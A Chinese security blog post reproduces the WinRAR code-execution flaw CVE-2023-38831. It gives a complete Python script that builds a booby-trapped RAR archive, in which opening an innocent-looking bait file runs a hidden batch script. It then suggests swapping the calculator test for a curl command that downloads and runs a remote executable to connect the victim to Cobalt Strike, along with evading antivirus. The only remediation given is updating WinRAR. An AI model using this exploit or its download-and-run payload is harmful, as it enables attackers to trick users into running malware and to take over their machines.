【漏洞复现】WinRAR代码执行漏洞CVE-2023-38831复现【附exp】

前言

图片[1]-【漏洞复现】WinRAR代码执行漏洞CVE-2023-38831复现【附exp】-安全小天地

WinRAR 在处理压缩包内同名的文件与文件夹时存在代码执行漏洞。攻击者构建由恶意文件与非恶意文件构成的特制压缩包文件,诱导受害者打开此文件中看似无害的文件(如JPG文件)后,将在受害者机器上执行任意代码。

漏洞复现

利用代码


#!/usr/bin/env python3
# -*- coding: utf-8 -*-

import shutil
import os
import sys

TEMPLATE_NAME = "TEMPLATE"
OUTPUT_NAME = "CVE-2023-38831-poc.rar"

BAIT_NAME = "test.txt"
SCRIPT_NAME = "test.bat"

def main():
    global BAIT_NAME, SCRIPT_NAME, OUTPUT_NAME  # 声明为全局变量

    # 处理命令行参数
    if len(sys.argv) > 3:
        BAIT_NAME = os.path.basename(sys.argv[1])
        SCRIPT_NAME = os.path.basename(sys.argv[2])
        OUTPUT_NAME = os.path.basename(sys.argv[3])
    elif len(sys.argv) == 2 and sys.argv[1] == "poc":
        pass
    else:
        print("""用法:
              python cve-2023-38831-exp-gen.py poc
              python cve-2023-38831-exp-gen.py <BAIT_NAME> <SCRIPT_NAME> <OUTPUT_NAME>""")
        sys.exit()

    # 提取鱼叉文件名的扩展名
    BAIT_EXT = b"." + bytes(BAIT_NAME.split(".")[-1], "utf-8")

    print("鱼叉文件名:", BAIT_NAME)
    print("脚本文件名:", SCRIPT_NAME)
    print("输出文件名:", OUTPUT_NAME)

    # 清理并创建必要的目录
    if os.path.exists(TEMPLATE_NAME):
        shutil.rmtree(TEMPLATE_NAME)
    os.mkdir(TEMPLATE_NAME)
    d = os.path.join(TEMPLATE_NAME, BAIT_NAME + "A")
    if not os.path.exists(d):
        os.mkdir(d)

    # 复制文件到模板目录
    shutil.copyfile(SCRIPT_NAME, os.path.join(d, BAIT_NAME + "A.cmd"))
    shutil.copyfile(BAIT_NAME, os.path.join(TEMPLATE_NAME, BAIT_NAME + "B"))

    # 创建模板目录的 zip 压缩文件
    shutil.make_archive(TEMPLATE_NAME, 'zip', TEMPLATE_NAME)

    # 读取、修改并写回 zip 压缩文件
    with open(TEMPLATE_NAME + ".zip", "rb") as f:
        content = f.read()
        content = content.replace(BAIT_EXT + b"A", BAIT_EXT + b" ")
        content = content.replace(BAIT_EXT + b"B", BAIT_EXT + b" ")

    os.remove(TEMPLATE_NAME + ".zip")

    # 将修改后的内容保存为最终输出文件
    with open(OUTPUT_NAME, "wb") as f:
        f.write(content)

    print("成功生成漏洞利用代码。")

if __name__ == "__main__":
    main()

这里我们只是测试谈一侧计算器即可

参考代码,需要生成俩个文件

BAIT_NAME = "test.txt"
SCRIPT_NAME = "test.bat"

新建一个空的test.txt,还有一个批处理文件test.bat

test.bat中写入需要运行的命令 这里写入calc

图片[2]-【漏洞复现】WinRAR代码执行漏洞CVE-2023-38831复现【附exp】-安全小天地

运行脚本:

python cve-2023-38831-exp-gen.py poc

即可生成恶意rar文件:CVE-2023-38831-poc.rar

图片[3]-【漏洞复现】WinRAR代码执行漏洞CVE-2023-38831复现【附exp】-安全小天地

需要上线cs的话,可以修改test.bat文件内容为:

curl http://xxxxxxx/a.exe -o a.exe & start a.exe & exit

做好免杀就可以上线啦

修复

更新至最新版winrar

参考链接:

https://mp.weixin.qq.com/s/y5UqG5NuUtSHa7-i9AXVyw

© 版权声明
THE END
喜欢就支持一下吧
点赞10 分享
评论 抢沙发

请登录后发表评论

    请登录后查看评论内容